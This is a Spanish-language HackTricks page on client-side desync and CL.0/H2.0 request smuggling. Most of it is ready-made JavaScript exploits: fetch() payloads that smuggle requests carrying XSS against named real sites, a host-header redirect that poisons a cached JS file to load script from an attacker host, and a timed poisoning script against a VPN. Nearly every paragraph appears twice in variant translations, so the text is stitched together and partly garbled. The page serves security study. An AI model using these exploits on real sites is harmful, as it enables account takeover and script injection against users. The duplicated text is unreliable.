<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
## Desincronización compatible con navegadores CL.0/H2.0
|
||||
|
||||
## Desincronización compatible con el navegador CL.0/H2.0
|
||||
|
||||
Esta vulnerabilidad ocurre cuando el encabezado **Content Length** (CL) es completamente **ignorado** por el **servidor backend**. Luego, el backend trata el **cuerpo** como el **inicio del método de la segunda solicitud**. Ignorar el CL es equivalente a tratarlo como si tuviera un valor de 0, por lo que se trata de una desincronización CL.0, una clase de ataque [conocida](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) pero menos explorada.
|
||||
Esta vulnerabilidad ocurre cuando el encabezado **Content Length** (CL) es completamente **ignorado** por el **servidor backend**. Entonces, el backend trata el **cuerpo** como el **inicio del método de la segunda solicitud**. Ignorar el CL es equivalente a tratarlo como si tuviera un valor de 0, por lo que esto es una desincronización CL.0 - una clase de ataque [conocida](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) pero menos explorada.
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (1) (2).png>)
|
||||
|
||||
El ataque fue posible porque el servidor backend simplemente **no esperaba una solicitud POST**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tenga en cuenta que esta vulnerabilidad se **desencadena** mediante una solicitud **HTTP válida** y **compatible con las especificaciones**. Esto significa que el **front-end no tiene posibilidad de protegerse** contra ella, e incluso podría ser desencadenada por un navegador.
|
||||
Ten en cuenta que esta vulnerabilidad se **activa** por una solicitud HTTP **completamente válida** y conforme a la especificación. Esto significa que el **frontend no tiene ninguna posibilidad de protegerse** contra ella, e incluso podría ser activada por un navegador.
|
||||
{% endhint %}
|
||||
|
||||
La única **diferencia** entre **CL.0** y **H2.0** es que el segundo está utilizando **HTTP2** (que tiene un encabezado de longitud de contenido implícito) pero el **backend tampoco lo está usando**.
|
||||
La única **diferencia** entre **CL.0** y **H2.0** es que el segundo está utilizando **HTTP2** (que tiene un encabezado de longitud de contenido implícito) pero el **backend tampoco está utilizando eso**.
|
||||
|
||||
## Desincronización del lado del cliente
|
||||
## Desincronización del Lado del Cliente
|
||||
|
||||
Los ataques de desincronización tradicionales **envenenan** la **conexión** entre un servidor **front-end y back-end**, por lo que son imposibles en sitios web que no utilizan una arquitectura front-end/back-end. A partir de ahora, estos son los desincronizaciones del lado del servidor. La mayoría de las desincronizaciones del lado del servidor solo se pueden desencadenar mediante una solicitud malformada de un cliente HTTP personalizado.
|
||||
Los ataques de desincronización tradicionales **envenenan** la **conexión** entre un servidor **frontend y backend**, y por lo tanto son imposibles en sitios web que no utilizan una arquitectura frontend/backend. A estos los llamaremos **desincronización del lado del servidor** de ahora en adelante. La mayoría de las **desincronizaciones del lado del servidor** solo pueden ser activadas por un **cliente HTTP personalizado que emite una solicitud malformada.**
|
||||
|
||||
La capacidad de un **navegador para causar una desincronización** permite una nueva clase completa de amenazas llamada **desincronización del lado del cliente** (CSD).\
|
||||
Un ataque CSD comienza con la **víctima visitando el sitio web del atacante**, que luego hace que su navegador envíe **dos solicitudes de dominio cruzado al sitio web vulnerable**. La **primera** solicitud está diseñada para **desincronizar la conexión del navegador** y hacer que la **segunda solicitud desencadene** una respuesta dañina, típicamente dando al atacante el control de la cuenta de la víctima.
|
||||
La capacidad de un **navegador para causar una desincronización** habilita una nueva clase de amenaza llamada **desincronización del lado del cliente** (CSD).\
|
||||
Un ataque CSD comienza con la **víctima visitando el sitio web del atacante**, lo que luego hace que su navegador envíe **dos solicitudes entre dominios al sitio web vulnerable**. La **primera** solicitud está diseñada para **desincronizar la conexión del navegador** y hacer que la **segunda solicitud active** una respuesta perjudicial, típicamente dando al atacante el control de la cuenta de la víctima.
|
||||
|
||||
### Detectar
|
||||
|
||||
Un vector CSD es una solicitud HTTP con **dos** propiedades **clave**.
|
||||
Un vector CSD es una solicitud HTTP con **dos propiedades clave**.
|
||||
|
||||
En primer lugar, el **servidor debe ignorar el Content-Length (CL) de la solicitud**. Esto suele suceder porque la solicitud **desencadenó un error del servidor**, o el servidor simplemente **no esperaba una solicitud POST** en el punto final elegido. Intente apuntar a **archivos estáticos** y **redirecciones a nivel de servidor**, y desencadenar errores a través de **URL demasiado largas**, y **semi-malformadas** como /%2e%2e.
|
||||
Primero, el **servidor debe ignorar el Content-Length (CL) de la solicitud**. Esto típicamente ocurre porque la solicitud **activó un error del servidor**, o el servidor simplemente **no esperaba una solicitud POST** al endpoint elegido. Intenta apuntar a **archivos estáticos** y **redirecciones a nivel de servidor**, y activar errores a través de **URLs demasiado largas**, y unas **semi-malformadas** como /%2e%2e.
|
||||
|
||||
En segundo lugar, la solicitud debe ser **desencadenable en un navegador web de dominio cruzado**. Los navegadores restringen severamente el control sobre las solicitudes de dominio cruzado, por lo que tiene un control limitado sobre los encabezados, y si su solicitud tiene un cuerpo, deberá usar el método HTTP POST. En última instancia, solo **controla** la **URL**, además de algunas cosas como el encabezado **Referer**, el **cuerpo** y la **última parte del tipo de contenido**.
|
||||
En segundo lugar, la solicitud debe ser **activable en un navegador web entre dominios**. Los navegadores restringen severamente el control sobre las solicitudes entre dominios, por lo que tienes un control limitado sobre los encabezados, y si tu solicitud tiene un cuerpo necesitarás usar el método HTTP POST. En última instancia, solo **controlas** la **URL**, además de algunos detalles como el encabezado **Referer**, el **cuerpo**, y la **parte final del Content-Type.**
|
||||
|
||||
#### Pruebas de ignorar CL
|
||||
#### Pruebas de ignorancia de CL
|
||||
|
||||
La forma de probar esta configuración incorrecta es **enviar 2 solicitudes y contrabandear una** en el **medio**. Si la conexión **contrabandeada afectó** la respuesta de la **segunda solicitud**, significa que es **vulnerable**:
|
||||
La forma de probar esta mala configuración es **enviar 2 solicitudes y contrabandear una** en el **medio**. Si la conexión **contrabandeada** **afectó** la respuesta de la **segunda solicitud**, significa que es **vulnerable**:
|
||||
|
||||
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tenga en cuenta que no puede probar esta vulnerabilidad simplemente enviando un **Content-Length más grande** que el enviado y **buscando un tiempo de espera** porque algunos servidores **responden** incluso si no recibieron todo el cuerpo.
|
||||
Ten en cuenta que **no puedes** probar esta vulnerabilidad simplemente enviando un **Content-Length más grande** que el enviado y **buscando un tiempo de espera** porque algunos servidores **responden** incluso si **no recibieron todo el cuerpo**.
|
||||
{% endhint %}
|
||||
|
||||
Es importante tener en cuenta si el sitio web objetivo admite HTTP/2. Los ataques CSD típicamente explotan la reutilización de conexión HTTP/1.1 y los navegadores web **prefieren usar HTTP/2** siempre que sea posible, por lo que si el sitio web objetivo admite HTTP/2, es poco probable que sus ataques funcionen. Hay una **excepción**; algunos **proxies hacia adelante no admiten HTTP/2** por lo que puede explotar a cualquiera que los use. Esto incluye proxies corporativos, ciertas VPN intrusivas e incluso algunas herramientas de seguridad.
|
||||
Es importante notar si el **sitio web objetivo soporta HTTP**/2. Los ataques CSD típicamente explotan la reutilización de conexiones HTTP/1.1 y los **navegadores prefieren usar HTTP/2** siempre que sea posible, así que si el sitio web objetivo **soporta HTTP/2 es poco probable que tus ataques funcionen**. Hay una **excepción**; algunos **proxies de reenvío no soportan HTTP/2** por lo que puedes explotar a cualquiera que los use. Esto incluye proxies corporativos, ciertas VPNs intrusivas e incluso algunas herramientas de seguridad.
|
||||
|
||||
### Confirmar
|
||||
|
||||
En primer lugar, seleccione un sitio para lanzar el ataque. Este sitio debe ser **accedido a través de HTTPS** y ubicado en un **dominio diferente al objetivo**.
|
||||
Primero, selecciona un sitio desde el cual lanzar el ataque. Este sitio debe ser **accedido a través de HTTPS** y ubicado en un **dominio diferente al objetivo**.
|
||||
|
||||
A continuación, asegúrese de que **no tenga un proxy configurado**, luego navegue hasta su sitio de ataque. Abra las **herramientas de desarrollador** y cambie a la **pestaña Network**. Para ayudar con la depuración de posibles problemas más adelante, recomiendo hacer los siguientes ajustes:
|
||||
Luego, asegúrate de que **no tienes un proxy configurado**, y navega a tu sitio de ataque. Abre las **herramientas de desarrollador** y cambia a la pestaña **Red**. Para ayudar con la depuración de problemas potenciales más tarde, recomiendo hacer los siguientes ajustes:
|
||||
|
||||
* Seleccione la casilla de verificación **"Preservar registro"**.
|
||||
* Haga clic con el botón derecho en los encabezados de columna y **habilite la columna "ID de conexión"**.
|
||||
* Selecciona la casilla **"Preservar registro"**.
|
||||
* Haz clic derecho en los encabezados de las columnas y **activa la columna "ID de Conexión"**.
|
||||
|
||||
Cambie a la consola de desarrollador y ejecute JavaScript para replicar su secuencia de ataque usando fetch(). Esto puede parecer algo así:
|
||||
Cambia a la consola de desarrollador y ejecuta JavaScript para replicar tu secuencia de ataque usando fetch(). Esto puede verse algo así como:
|
||||
```javascript
|
||||
fetch('https://example.com/', {
|
||||
method: 'POST',
|
||||
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||||
mode: 'no-cors', // ensure connection ID is visible
|
||||
credentials: 'include' // poison 'with-cookies' pool
|
||||
method: 'POST',
|
||||
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
||||
mode: 'no-cors', // ensure connection ID is visible
|
||||
credentials: 'include' // poison 'with-cookies' pool
|
||||
}).then(() => {
|
||||
location = 'https://example.com/' // use the poisoned connection
|
||||
location = 'https://example.com/' // use the poisoned connection
|
||||
})
|
||||
```
|
||||
He establecido el modo de recuperación **'no-cors'** para asegurarme de que Chrome **muestre el ID de conexión** en la pestaña de Red. También he establecido **credentials: 'include'** ya que Chrome tiene [**dos grupos de conexiones separados**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - uno para solicitudes con cookies y otro para solicitudes sin ellas. Normalmente, querrás explotar **navegaciones**, y estas **utilizan el grupo 'con-cookies'**, por lo que vale la pena acostumbrarse a siempre envenenar ese grupo.
|
||||
### Explotación - Almacenar
|
||||
|
||||
Cuando ejecutes esto, deberías ver **dos solicitudes** en la pestaña de Red con el **mismo ID de conexión**, y la **segunda** debería provocar un **404**:
|
||||
Una opción es identificar funcionalidades en el sitio objetivo que permitan **almacenar datos de texto**, y diseñar el prefijo de manera que las cookies de tu víctima, cabeceras de autenticación o contraseñas terminen siendo **almacenadas en algún lugar de donde puedas recuperarlas**. Este flujo de ataque funciona [casi idénticamente al contrabando de solicitudes del lado del servidor](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), así que no me extenderé en ello.
|
||||
|
||||
![](<../../.gitbook/assets/image (158) (2).png>)
|
||||
### Explotación - **Cadena y pivote**
|
||||
|
||||
Si esto funciona como se espera, ¡enhorabuena! ¡Has encontrado una desincronización del lado del cliente!
|
||||
Bajo circunstancias normales, muchas clases de **ataques del lado del servidor** solo pueden ser lanzadas por un atacante con acceso directo al sitio objetivo ya que **dependen de solicitudes HTTP que los navegadores se niegan a enviar**, como **manipular** las **cabeceras HTTP** - envenenamiento de caché web, la mayoría del contrabando de solicitudes del lado del servidor, ataques de cabecera de host, User-Agent basado en [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type y muchos otros.
|
||||
|
||||
### Explotación - Almacenamiento
|
||||
El camino más simple hacia un ataque exitoso provino de dos técnicas clave usualmente usadas para ataques de desincronización del lado del servidor: [**envenenamiento de recursos JavaScript a través de redirecciones de cabecera de Host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), y usar el [**método HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) para unir una respuesta con HTML perjudicial. Ambas técnicas necesitaban ser **adaptadas** para superar algunos desafíos novedosos asociados con operar en el **navegador de la víctima**.
|
||||
|
||||
Una opción es identificar la funcionalidad en el sitio objetivo que te permita **almacenar datos de texto**, y crear el prefijo de manera que las cookies, las cabeceras de autenticación o la contraseña de tu víctima acaben siendo **almacenados en algún lugar donde puedas recuperarlos**. Este flujo de ataque funciona [casi de manera idéntica a la desincronización de solicitudes del lado del servidor](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), así que no me detendré en ello.
|
||||
|
||||
### Explotación - **Encadenar y pivotar**
|
||||
|
||||
En circunstancias normales, muchas clases de **ataques del lado del servidor** solo pueden ser lanzados por un atacante con acceso directo al sitio objetivo, ya que **dependen de solicitudes HTTP que los navegadores se niegan a enviar**, como **manipular** las **cabeceras HTTP** - envenenamiento de caché web, la mayoría de las desincronizaciones de solicitudes del lado del servidor, ataques de cabecera de host, SQLi basado en User-Agent, CSRF JSON Content-type y numerosos otros.
|
||||
|
||||
El camino más sencillo hacia un ataque exitoso provino de dos técnicas clave que normalmente se utilizan para desincronizaciones del lado del servidor: [**envenenamiento de recursos JavaScript mediante redirecciones de cabecera de host**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), y el uso del [**método HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) para unir una respuesta con HTML dañino. Ambas técnicas necesitaban ser **adaptadas** para superar algunos desafíos novedosos asociados con la operación en el **navegador de la víctima**.
|
||||
|
||||
## Ejemplos de explotación
|
||||
## Ejemplos de Explotación
|
||||
|
||||
### Ejemplo de HEAD apilado
|
||||
|
||||
* **Explotación en color**
|
||||
* **Explotación coloreada**
|
||||
|
||||
![](<../../.gitbook/assets/image (2) (3).png>)
|
||||
|
||||
* **Explotación JS**
|
||||
```javascript
|
||||
fetch('https://www.capitalone.ca/assets', {
|
||||
method: 'POST',
|
||||
// use a cache-buster to delay the response
|
||||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||||
credentials: 'include',
|
||||
mode: 'cors' // throw an error instead of following redirect
|
||||
method: 'POST',
|
||||
// use a cache-buster to delay the response
|
||||
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
||||
credentials: 'include',
|
||||
mode: 'cors' // throw an error instead of following redirect
|
||||
}).catch(() => {
|
||||
location = 'https://www.capitalone.ca/'
|
||||
location = 'https://www.capitalone.ca/'
|
||||
})va
|
||||
```
|
||||
Explicación:
|
||||
|
||||
* **Abuso de CL.0** en /assets (redirige a /assets/ y no comprueba el CL)
|
||||
* **Smuggle** de una petición **HEAD** (porque las respuestas HEAD todavía contienen una longitud de contenido)
|
||||
* **Smuggle** de una petición **GET** cuyo **contenido** va a ser **reflejado** en la respuesta con el payload.
|
||||
* Debido a la **longitud de contenido de la petición HEAD**, la **respuesta** de esta petición será el **cuerpo de la petición HEAD**
|
||||
* Establecer el **modo cors**. Normalmente esto no se hace, pero en este caso la **respuesta** del servidor al **POST** **inicial** es una **redirección** que si se **sigue** el **exploit no funcionará**. Por lo tanto, se utiliza el **modo cors** para **desencadenar** un **error** y **redirigir** a la víctima con el **`catch`**.
|
||||
* **Abuso de CL.0** en /assets (se redirige a /assets/ y no verifica el CL)
|
||||
* **Contrabandear** una solicitud **HEAD** (porque las respuestas HEAD aún contienen un content-length)
|
||||
* **Contrabandear** una solicitud **GET** cuyo **contenido** va a ser **reflejado** en la respuesta con el payload.
|
||||
* Debido al **content-length del HEAD** req, la **respuesta** de esta solicitud será el **cuerpo del HEAD req**
|
||||
* Establecer **modo cors**. Normalmente esto no se hace, pero en este caso la **respuesta** del servidor al **POST** **inicial** es una **redirección** que si se **sigue** el **exploit no funcionará**. Por lo tanto, se utiliza el **modo cors** para **desencadenar** un **error** y **redirigir** a la víctima con el **`catch`**.
|
||||
|
||||
### **Redirección de encabezado de host + envenenamiento de caché del lado del cliente**
|
||||
### **Redirección del encabezado Host + envenenamiento de caché del lado del cliente**
|
||||
|
||||
* **Exploit de JS**
|
||||
* **Exploit JS**
|
||||
```javascript
|
||||
fetch('https://redacted/', {
|
||||
method: 'POST',
|
||||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||
credentials: 'include'}
|
||||
method: 'POST',
|
||||
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
||||
credentials: 'include'}
|
||||
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
||||
```
|
||||
* Una solicitud a `/+webvpn+/` con un **dominio diferente en el encabezado Host** es respondida con una **redirección** a `/+webvpn+/index.html` a ese **dominio** dentro del encabezado Host.
|
||||
* Una solicitud a `/+webvpn+/` con un **dominio diferente en el encabezado Host** se responde con un **redireccionamiento** a `/+webvpn+/index.html` hacia ese **dominio** dentro del encabezado Host.
|
||||
* La ubicación en la **segunda** solicitud se establece en `/+CSCOE+/win.js` para **envenenar** la **caché** de ese archivo `.js`.
|
||||
* Esta solicitud será respondida con la redirección de `/+webvpn+/` al dominio del atacante con la ruta `/+webvpn+/index.html`.
|
||||
* La **caché** de **`win.js`** será **envenenada** con una **redirección** a la página del **atacante**, pero también la **víctima** seguirá la redirección ya que fue asignada en la variable `location` y terminará en la página web del atacante.
|
||||
* Luego, el atacante **redirigirá** a la **víctima** a `https://redacted/+CSCOE+/logon.html`. Esta página importará `/+CSCOE+/win.js`. Cuya **caché es una redirección** al servidor del **atacante**, por lo tanto, el atacante puede **responder con un JS malicioso**.
|
||||
* Esta solicitud se responderá con el redireccionamiento de `/+webvpn+/` al dominio del atacante con la ruta `/+webvpn+/index.html`
|
||||
* La **caché** de **`win.js`** será **envenenada** con un **redireccionamiento** a la página del **atacante**, pero también la **víctima** **seguirá** el redireccionamiento ya que fue asignado en la variable `location` y terminará en la página web del atacante.
|
||||
* El atacante luego **redireccionará** a la **víctima** a `https://redacted/+CSCOE+/logon.html`. Esta página importará `/+CSCOE+/win.js`. Cuya **caché es un redireccionamiento** al servidor del **atacante**, por lo tanto, el atacante puede **responder con un JS malicioso**.
|
||||
|
||||
La **víctima** **accederá** a la página del **atacante** **dos veces**, la primera vez **espera un HTML** que redirige a la víctima de vuelta a `https://redacted/+CSCOE+/logon.html` y la segunda vez **espera código javascript** (la carga útil). Se puede usar un políglota para servir ambas respuestas en solo una:
|
||||
La **víctima** **accederá** a la página del **atacante** **dos veces**, la primera espera un HTML que redirija a la víctima de vuelta a `https://redacted/+CSCOE+/logon.html` y la segunda espera código javascript (el payload). Un políglota puede usarse para servir ambas respuestas en una sola:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
|
||||
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
||||
```
|
||||
### Payload HEAD con TE chunked
|
||||
### Carga útil HEAD con TE fragmentado
|
||||
|
||||
Al buscar CSD también se pueden probar URLs semi-malformadas como `/..%2f` o `/%2f`.
|
||||
Al buscar CSD también puedes **probar URLs semi-malformadas** como `/..%2f` o `/%2f`.
|
||||
|
||||
* **Exploit en color**
|
||||
* **Explotación Coloreada**
|
||||
|
||||
![](<../../.gitbook/assets/image (5) (2) (1).png>)
|
||||
|
||||
* **Exploit en JS**
|
||||
* **Explotación JS**
|
||||
```javascript
|
||||
fetch('https://www.verisign.com/%2f', {
|
||||
method: 'POST',
|
||||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||||
credentials: 'include',
|
||||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||||
fetch('https://www.verisign.com/%2f', {
|
||||
method: 'POST',
|
||||
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
||||
credentials: 'include',
|
||||
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
||||
}}).catch(() => {
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.action = 'https://www.verisign.com/robots.txt'
|
||||
form.enctype = 'text/plain'
|
||||
let input = document.createElement('input')
|
||||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||||
input.value = ''
|
||||
form.appendChild(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.action = 'https://www.verisign.com/robots.txt'
|
||||
form.enctype = 'text/plain'
|
||||
let input = document.createElement('input')
|
||||
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
||||
input.value = ''
|
||||
form.appendChild(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
}
|
||||
```
|
||||
* La página **`/%2f`** es accedida para **explotar** la vulnerabilidad **CL.0**.
|
||||
* Se utiliza una solicitud **HEAD** para hacer un **smuggling** usando el encabezado **`Transfer-Encoding: chunked`**.
|
||||
* Este encabezado es necesario en este escenario porque de lo contrario el **servidor rechaza una solicitud HEAD con un cuerpo**.
|
||||
* Luego, el usuario envía un POST cuyo cuerpo contiene el **chunk final de la solicitud HEAD anterior** y una **nueva solicitud que se smuglea** con **contenido** (la carga útil de JS) que será **reflejado** en la respuesta.
|
||||
* Por lo tanto, el navegador tratará la **respuesta a la solicitud HEAD** como la **respuesta a la solicitud POST** que también **contiene** en el **cuerpo** de la respuesta que **refleja** la **entrada** del usuario en la segunda solicitud smugleada.
|
||||
* La página **`/%2f`** se accede para **explotar** la vulnerabilidad **CL.0**.
|
||||
* Se realiza un contrabando de una solicitud **HEAD** utilizando un **`Transfer-Encoding: chunked` header**.
|
||||
* Este encabezado es necesario en este escenario porque de lo contrario el **servidor se negaba a aceptar una solicitud HEAD con cuerpo**.
|
||||
* Luego, el usuario envía un POST cuyo cuerpo contiene el **final del chunk de la solicitud HEAD anterior** y una **nueva solicitud que se contrabandea** con **contenido** (el payload de JS) que se **reflejará** en la respuesta.
|
||||
* Por lo tanto, el navegador tratará la **respuesta a la solicitud HEAD** como la **respuesta a la solicitud POST**, la cual también **contendrá** en la **respuesta del cuerpo** que **refleja** la **entrada** del usuario en la segunda solicitud contrabandeada.
|
||||
|
||||
### Redirección de encabezado de host + RC
|
||||
### Redirección del encabezado Host + RC
|
||||
|
||||
* **JS Exploit**
|
||||
```html
|
||||
<script>
|
||||
function reset() {
|
||||
fetch('https://vpn.redacted/robots.txt',
|
||||
{mode: 'no-cors', credentials: 'include'}
|
||||
).then(() => {
|
||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||
})
|
||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||
}
|
||||
function reset() {
|
||||
fetch('https://vpn.redacted/robots.txt',
|
||||
{mode: 'no-cors', credentials: 'include'}
|
||||
).then(() => {
|
||||
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
||||
})
|
||||
setTimeout(poison, 120) // worked on 140. went down to 110
|
||||
}
|
||||
|
||||
function poison(){
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
setTimeout(reset, 1000)
|
||||
}
|
||||
function poison(){
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
sendPoison()
|
||||
setTimeout(reset, 1000)
|
||||
}
|
||||
|
||||
function sendPoison(){
|
||||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||
{
|
||||
method: 'POST',
|
||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||
mode: 'no-cors',
|
||||
credentials: 'include'
|
||||
}
|
||||
)
|
||||
}
|
||||
function sendPoison(){
|
||||
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||
{
|
||||
method: 'POST',
|
||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||
mode: 'no-cors',
|
||||
credentials: 'include'
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
</script>
|
||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||
```
|
||||
En este caso, de nuevo, hay una **redirección de encabezado de host** que podría ser utilizada para **secuestrar** una importación de **JS**. Sin embargo, esta vez la **redirección no es cachéable**, por lo que el **envenenamiento de caché** del lado del cliente no es una opción.
|
||||
En este caso, nuevamente, hay un **host header** **redirect** que podría usarse para **hijack** una importación de **JS**. Sin embargo, esta vez el **redirect no es cacheable**, por lo que el envenenamiento del **cache** del lado del cliente no es una opción.
|
||||
|
||||
Por lo tanto, el ataque realizado hará que la **víctima acceda a la página vulnerable** en una pestaña y luego, justo **antes** de que la página intente **cargar un archivo JS**, **envenenar** las **conexiones de contrabando de socket** (3 en este caso).\
|
||||
Debido a que el **momento** tiene que ser extremadamente **preciso**, el ataque se realiza contra una **nueva pestaña en cada iteración** hasta que funcione.
|
||||
Por lo tanto, el ataque realizado hará que el **víctima acceda a la página vulnerable** en una pestaña y luego, justo **antes** de que la página intente **cargar un archivo JS**, **envenenar** el socket **smuggling connections** (3 en este caso).\
|
||||
Debido a que el **timing** debe ser extremadamente **preciso**, el ataque se realiza contra una **nueva pestaña en cada iteración** hasta que funcione.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tenga en cuenta que en este caso `/meeting_testjs.cgi` fue atacado porque **carga** un **Javascript** que responde con un **404**, por lo que no está en caché. En otros escenarios donde intenta atacar un **JS que está en caché** debe esperar a que **desaparezca de la caché** antes de lanzar un nuevo ataque.
|
||||
Ten en cuenta que en este caso se atacó `/meeting_testjs.cgi` porque **carga** un **Javascript** que responde con un **404**, por lo que no está en caché. En otros escenarios donde intentes atacar un **JS que está en caché** necesitas esperar a que **desaparezca del caché** antes de lanzar un nuevo ataque.
|
||||
{% endhint %}
|
||||
|
||||
Pasos resumidos:
|
||||
|
||||
* Abrir una nueva ventana.
|
||||
* Emitir una solicitud inofensiva al objetivo para establecer una conexión fresca, haciendo que los tiempos sean más consistentes.
|
||||
* Navegar la ventana a la página de destino en /meeting\_testjs.cgi.
|
||||
* 120ms después, crear tres conexiones envenenadas usando el gadget de redirección.
|
||||
* 5ms después, mientras se está renderizando /meeting\_testjs.cgi, la víctima intentará importar /appletRedirect.js y será redirigida a x.psres.net, que sirve un JS malicioso.
|
||||
* Si no, volver a intentar el ataque.
|
||||
* Emitir una solicitud inofensiva al objetivo para establecer una conexión nueva, haciendo que los tiempos sean más consistentes.
|
||||
* Navegar la ventana a la página objetivo en /meeting\_testjs.cgi.
|
||||
* 120 ms después, crear tres conexiones envenenadas utilizando el gadget de redirección.
|
||||
